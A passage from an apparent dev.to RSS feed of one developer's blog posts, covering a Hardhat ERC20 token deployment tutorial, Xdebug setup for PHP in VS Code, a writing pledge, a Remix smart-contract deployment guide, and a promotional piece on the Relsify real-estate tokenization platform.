&lt;p&gt;Under the contract folder create a file called PokeCoin.sol, this is where we'll write the smart contract that implements our PokeCoin token. The contract is quite self-explanatory, the first two lines specify the license type of the contract and the solidity compiler version to be used for the file, the ERC20 library is then imported and then immediately inherited by the PokeCoin contract, the token name and symbol are then loaded and then passed through the constructor parameters, we'll go ahead to use the base function &lt;em&gt;mint&lt;/em&gt; in the ERC20 contract, this will mint the initial desired amount of token and send it to the creator's wallet.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

 import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract PokeCoin is ERC20{

    uint constant _initial_supply= 100 * (10**18); // Initial deposit in creators wallet 

    constructor() ERC20("PokeCoin", "POK") { // Token description

        _mint(msg.sender, _initial_supply);

    }

}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Connect Wallet and Node Provider&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We'll use Metamask as our wallet, and Alchemy as the node provider, our wallet's private key and the unique Alchemy project key, these will be stored and used in a .env file for the deployment and interaction of the contract. Follow these &lt;a href="https://metamask.zendesk.com/hc/en-us/articles/360015289632-How-to-Export-an-Account-Private-Key" rel="noopener noreferrer"&gt;steps&lt;/a&gt; to get your Metamask private key and the below image for &lt;a href="https://www.alchemy.com/" rel="noopener noreferrer"&gt;Alchemy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F71n9k9cmlipem3oqfh45.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F71n9k9cmlipem3oqfh45.gif" alt="HTTP Alchemy API URL" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Make sure when committing this project to your git repository that your .env file is part of the .gitignore list of files and folders as the information there are quite sensitive and could be easily used by hackers to tamper with your accounts.&lt;/p&gt;

&lt;p&gt;Create your .&lt;em&gt;env&lt;/em&gt; file with this command..&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install dotenv --save

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and put the necessary keys in the .env file like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;API_URL = "https://eth-goerli.g.alchemy.com/v2/your-api-key"
PRIVATE_KEY = "your-metamask-private-key"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Install Ether.js and configure deployment&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;We'll use the hardhat plugin &lt;em&gt;hardhat-ethers&lt;/em&gt; that is integrated with &lt;em&gt;Ethers.js&lt;/em&gt; this allows for simple interactions with the Ethereum blockchain&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install --save-dev @nomiclabs/hardhat-ethers "ethers@^5.0.0"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then go ahead to configure the &lt;em&gt;hardhat.config.js&lt;/em&gt; to require the ether library and the Goerli test network we're going to be using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require("@nomicfoundation/hardhat-toolbox");

require('dotenv').config();
require("@nomiclabs/hardhat-ethers");

const { API_URL, PRIVATE_KEY } = process.env;

module.exports = {
  solidity: "0.8.17",
  defaultNetwork: "goerli",
  networks: {
    hardhat: {},
    goerli: {
       url: API_URL,
       accounts: [`0x${PRIVATE_KEY}`]
    }
 },
};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can go ahead to compile the solidity file with the command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx hardhat compile

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once this is successful, we'll configure our deployment script &lt;em&gt;deploy.js&lt;/em&gt; to work like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
async function main() {

  const [deployer]= await ethers.getSigners();
  console.log("Deploying contracts with the account: ",deployer.address);
  const weiAmount = (await deployer.getBalance()).toString();

  console.log("Account balance:", (await ethers.utils.formatEther(weiAmount)));
  const Token = await ethers.getContractFactory("Mikoin");
  const token = await Token.deploy();

  console.log("Token Address", token.address);

}

main()
.then(() =&amp;gt; process.exit(0))
.catch((error) =&amp;gt; {
  console.error(error);
  process.exit(1);
}
)

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Go ahead to deploy your contract to the goerli testnet&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx hardhat run scripts/deploy.js --network goerli

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the script is run successfully from the deployment script the console output logs the contract address, account balance, and token address. Congratulations! You can check out the record of the goerli transaction using the contract or token address using &lt;a href="https://goerli.etherscan.io/" rel="noopener noreferrer"&gt;https://goerli.etherscan.io/&lt;/a&gt;. Your custom token has also been sent to your Metamask account. To see your token, use your token's contract address to import your token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmetamask.zendesk.com%2Fhc%2Farticle_attachments%2F10106386660251" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmetamask.zendesk.com%2Fhc%2Farticle_attachments%2F10106386660251" alt="Import custom token MetaMask Extension" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome! What other token functionalities can you implement? Tinker with your smart contract and find out!&lt;/p&gt;

</description>
      <category>discuss</category>
    </item>
    <item>
      <title>Configuring PHP for debugging using Xdebug and VScode</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Fri, 27 Jan 2023 22:33:06 +0000</pubDate>
      <link>https://dev.to/imohgenius/configuring-php-for-debugging-using-xdebug-and-vscode-1if7</link>
      <guid>https://dev.to/imohgenius/configuring-php-for-debugging-using-xdebug-and-vscode-1if7</guid>
      <description>&lt;p&gt;Every good developer knows that in the process of software development, the ability to debug the application properly plays a vital role in the overall software delivery cycle, even for newer developers a lot is learned simply by debugging code. In the PHP language, functions like &lt;em&gt;print_r, var_dump&lt;/em&gt; are a part of the language's inbuilt tool for debugging, enabling error logging also gives the developer valuable insights into potential issues with the code.&lt;/p&gt;

&lt;p&gt;That brings us to Xdebug, a PHP extension that changes the entire development feature by enriching it with features like step debugging, improved error reporting, profiling, etc. We will do a step-by-step process for installing Xdebug and using it with Vscode.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing Xdebug for PHP
&lt;/h3&gt;

&lt;p&gt;The first step is to determine the root location of the PHP you use for your local development, for me, I have multiple bundled web servers with several versions of PHP, so I had to be specific about the one I was working with to avoid confusion&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Febvk8et3bf4dd8u40pi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Febvk8et3bf4dd8u40pi6.png" width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using their &lt;a href="https://xdebug.org/docs/" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For Unix-like systems;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Xdebug can be easily installed using a package manager&lt;/p&gt;

&lt;p&gt;Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pecl install xdebug

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;For Windows:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You will need to copy the output of phpinfo() or &lt;code&gt;php -i&lt;/code&gt; into their installation wizard, this will give you the right version of Xdebug to install along with some instructions to install it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpbjdertun7k9i5nsxgb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpbjdertun7k9i5nsxgb.png" width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8fzzrujo155ogu5qxk3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8fzzrujo155ogu5qxk3.png" width="800" height="556"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9i4ido3ym018leijmdbq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9i4ido3ym018leijmdbq.png" width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Carefully follow the above instructions about placing the php_debug.dll file in the ext folder&lt;/p&gt;

&lt;p&gt;and edit the php.ini file to add this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;zend_extension = xdebug
xdebug.mode = debug

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the phpinfo() or &lt;code&gt;php -i&lt;/code&gt; again to determine if the extension is operational&lt;/p&gt;

&lt;p&gt;then we'll install the Xdebug based extension on Vscode called PHP Debug.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcchsdjzspb9a5sbzo3bv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcchsdjzspb9a5sbzo3bv.png" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the Debug tab add configuration and select the PHP environment, this will bring out a launch.json file in the root of the project directory&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2ndspgm09j7p0qt43fi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2ndspgm09j7p0qt43fi.png" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you run the debugger you can add breakpoints to the code, these are the points where the code execution is paused and allows the functionalities of stepping over, in, and out of the code line by line. We also glean valuable insights into Stack traces, scope variables, superglobals, and user-defined constants as they are shown at each stage of the execution with the options to edit them, the debug console brings out all the output and relevant logs of the script.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntnkqc13fdgsa5sc3y.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntnkqc13fdgsa5sc3y.gif" alt="Demo GIF" width="800" height="632"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome, we will now see that with the proper debugging environment setup, the whole debugging experience is transformed from a dreaded and burdensome session to a more delightful one enhancing the much-needed productivity of the development process. Happy bug-hunting!&lt;/p&gt;

</description>
      <category>rust</category>
      <category>discuss</category>
      <category>softwaredevelopment</category>
    </item>
    <item>
      <title>2023 Writing Commitment</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Mon, 16 Jan 2023 05:20:41 +0000</pubDate>
      <link>https://dev.to/imohgenius/2023-writing-commitment-43if</link>
      <guid>https://dev.to/imohgenius/2023-writing-commitment-43if</guid>
      <description>&lt;p&gt;2023! it's a new year that promises to be a really great one. There are technologies to master, products to build, etc. I believe there is also a growing demand for not just software developers but &lt;em&gt;sound&lt;/em&gt; software developers that can build systems and applications that are good and reliable, superficial knowledge won't do anymore and only those that know their stuff will be able to thrive in the coming years&lt;/p&gt;

&lt;p&gt;That being said, I have committed this year to invest in more consistent self-development, which involves things like standard software architecture, building projects in public, contributions to open source projects, adhering to clean practices, etc.&lt;br&gt;
 I believe one of the best ways to cement understandings around certain domains is to teach them or articulate them in a well-written format that will be instructive to others. I look at producing biweekly( once in two weeks) articles inspired by the challenge started by &lt;a href="https://twitter.com/olanetsoft/" rel="noopener noreferrer"&gt;&lt;strong&gt;Idris Olubisi&lt;/strong&gt;&lt;/a&gt; &lt;a href="https://twitter.com/olanetsoft/status/1606650175799365632" rel="noopener noreferrer"&gt;tweet&lt;/a&gt;.This is a public commitment aimed to foster accountability, I believe it is going to be an interesting and demanding journey, I might stumble around a few things, but I can only get better and better at this, that being said it's time to get to work!&lt;br&gt;
&lt;a href="https://i.giphy.com/media/8SuKOupsVwBUGGButK/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/8SuKOupsVwBUGGButK/giphy.gif" width="480" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>gratitude</category>
    </item>
    <item>
      <title>Deploying a Smart Contract to the Blockchain Network</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Mon, 28 Nov 2022 12:51:02 +0000</pubDate>
      <link>https://dev.to/imohgenius/deploying-a-smart-contract-to-the-blockchain-network-4mn3</link>
      <guid>https://dev.to/imohgenius/deploying-a-smart-contract-to-the-blockchain-network-4mn3</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--p-9u77pH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wt6vezqiv6of8o6biqf6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--p-9u77pH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wt6vezqiv6of8o6biqf6.png" alt="Deploying a smart contract to the blockchain network" width="880" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We'll be looking at a quick guide to writing and deploying a smart contract to the blockchain network.&lt;/p&gt;

&lt;p&gt;Let's begin by looking at a simple contract program that stores and retrieves the value of a variable on the blockchain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: GPL-3.0
pragma solidity &amp;gt;=0.4.16 &amp;lt;0.9.0;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line of code identifies the license in use for the program, the second line is a directive that specifies the version of solidity compilers that should be used for the contract.&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;uint&lt;/em&gt; (unsigned integer) variable &lt;em&gt;storedData&lt;/em&gt; is declared. two functions *set *and *get *are created to alter and return the variable's value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity &amp;gt;=0.4.16 &amp;lt;0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll be interacting with our Solidity project with the use of an online Solidity IDE called &lt;a href="https://remix-project.org/"&gt;Remix&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WbyAVLCQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669636964419/Ua6EB_-Hy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WbyAVLCQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669636964419/Ua6EB_-Hy.png" alt="image.png" width="880" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once the contract has been compiled successfully you can deploy and interact with it on the Remix IDE. When the contract has been deployed, under Deployed contracts you will see the name of the contract and the two buttons &lt;em&gt;set&lt;/em&gt; and &lt;em&gt;get&lt;/em&gt; representing the two functions in the contract which can be used to modify and retrieve the value of the stored variable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--OJecdth9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669637600115/maT2niW5P.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OJecdth9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669637600115/maT2niW5P.png" alt="image.png" width="488" height="958"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In real-time use cases, contracts are deployed to blockchain networks, let's deploy this contract to the Polygon network, Contracts on the blockchain require a gas fee(cost of making a blockchain transaction) but we'll be using a test network which will not require real money. For us to pay the gas fee we'll be using a cryptocurrency wallet like &lt;a href="https://metamask.io/download/"&gt;Metamask&lt;/a&gt; , download &lt;a href="https://metamask.io/download/"&gt;Metamask&lt;/a&gt; here though you can choose to use any other non-custodial wallet. We'll be using the Polygon Mumbai Test network to host our smart contract, To connect your MetaMask Wallet to the Polygon Mumbai Testnet, visit this website &lt;a href="https://chainlist.org/"&gt;https://chainlist.org/&lt;/a&gt; and search for polygon, you'll see the Mumbai option under the search results, go ahead and select it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4FiviwfF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669638795737/LBiBCGsqN.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4FiviwfF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669638795737/LBiBCGsqN.png" alt="image.png" width="828" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DrKQNovm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669638810705/JVs45T-S4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DrKQNovm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669638810705/JVs45T-S4.png" alt="image.png" width="480" height="818"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you have done that, you need to get some test MATICS to start with, you will get it from &lt;a href="https://faucet.polygon.technology/"&gt;here&lt;/a&gt;. Input your wallet address and voila you've got some cash!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JNNGFLpB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1671542612161/OgMSu3bOi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JNNGFLpB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1671542612161/OgMSu3bOi.png" alt="" width="880" height="788"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To deploy your contract to the testnet, go to the Remix IDE, and instead of the default JavaScript VM, select Injected Web3.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--I_dCI2Mt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669639033842/MqQpAamHn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--I_dCI2Mt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1669639033842/MqQpAamHn.png" alt="image.png" width="357" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Your wallet will pop up and require permission, your contract is now deployed and hosted on the Polygon Mumbai Testnet. Congrats on the successful deployment of your smart contract!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Welcome to the Crypto Relsivolution!</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Fri, 31 Dec 2021 11:16:25 +0000</pubDate>
      <link>https://dev.to/imohgenius/welcome-to-the-crypto-relsivolution-3lhc</link>
      <guid>https://dev.to/imohgenius/welcome-to-the-crypto-relsivolution-3lhc</guid>
      <description>&lt;h2&gt;
  
  
  Relsify-Revolution
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;The times they are a-changin&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;as the phrase of a popular song goes, this fits aptly to how digital innovations are changing the way we do things in today's present time. Searches for terms like &lt;em&gt;crypto&lt;/em&gt;, &lt;em&gt;blockchains&lt;/em&gt;, &lt;em&gt;web3&lt;/em&gt; , have come on an increase as the world seeks to understand some of the shifts that have been ongoing for years now.&lt;/p&gt;

&lt;p&gt;One major innovation of these times is known as blockchain technology, what is a blockchain? A blockchain is a system of recording information in a way that makes it difficult or impossible to change (immutable), hack, or cheat the system, it is an architecture that gives participants the ability to share a ledger that's updated through peer-to-peer replication each time a transaction occurs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffyjm1xfjuwxbh11z3blz.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffyjm1xfjuwxbh11z3blz.jpeg" alt="smallblock.jpg" width="606" height="341"&gt;&lt;/a&gt;This model has gained a lot of traction for its ability to take out the middleman, the traditional methods for recording transactions and tracking assets in the hands of a &lt;em&gt;central&lt;/em&gt; figure are made redundant, We have seen how the rise of digital currencies like the &lt;em&gt;bitcoin&lt;/em&gt;, &lt;em&gt;ethereum&lt;/em&gt;, etc. built on this technology have taken the world by storm.&lt;/p&gt;

&lt;p&gt;This brings us back to the center of our discussion.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Relsify and what do they offer?
&lt;/h2&gt;

&lt;p&gt;Relsify is a property technology company incorporating blockchain technology to provide quality real estate experience by solving decades of real-time problems in the region (Africa). They plan to undertake this by taking physical real estate assets representing them as unique blockchain-based digital assets (security tokens) giving access to many to have fractional investments and stakes while also providing the liquidity and funding required by real estate developers. Taking Nigeria a country in Africa as an example, the country is faced with several crippling challenges in its real estate sector:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;There is a huge housing and developmental deficit, a place like Lagos the economic capital of Nigeria has a shortfall of housing units to cater to its teeming population.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Limited access to funding by real estate developers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Poor document authenticity around properties often gives rise to disputes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Low foreign investments, as many have fears of doing business and have to resort to trying to find a trusted middleman&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Relsify Process
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm503la65nxfhsq1n1ql.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkm503la65nxfhsq1n1ql.png" alt="image.png" width="700" height="990"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The purpose of Relsify is to act as a global decentralized marketplace where there is a low barrier of entry and the average Joe with as little as $1 can invest or have a stake in a piece of real estate. The developers host their properties and get access to fundings via transactions between them and the investors without the need for middlemen.&lt;/p&gt;

&lt;p&gt;On the Relsify platform, the &lt;em&gt;RELS&lt;/em&gt; token will act as the utility token or currency for the ecosystem , customers create accounts on the platform and check out verified properties they can choose to invest in, developers create unique security tokens for every property listed, which are given to the investors.&lt;/p&gt;

&lt;p&gt;The Relsify ecosystem provides secure processing of these transactions by the power of the blockchain affording several benefits like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It creates a safe pool for Developers, Investors, and Crypto Enthusiasts to access capital or properties that were previously inaccessible&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bring about global participation and foreign investments&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Completely shatter the real estate investment entry barrier&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solve the issue of document authenticity by a blockchain-backed system of immutability&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Simply ease of property ownership transfers to around 1-5mins&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The list of novel benefits this innovation is bringing is quite endless, we are poised to see several more use-cases adopted in the times to come. For more information about Relsify and how they seek to implement this unique solution, you can check out their &lt;em&gt;whitepaper&lt;/em&gt; on their website &lt;a href="https://relsify.com/" rel="noopener noreferrer"&gt;Relsify&lt;/a&gt;.&lt;/p&gt;

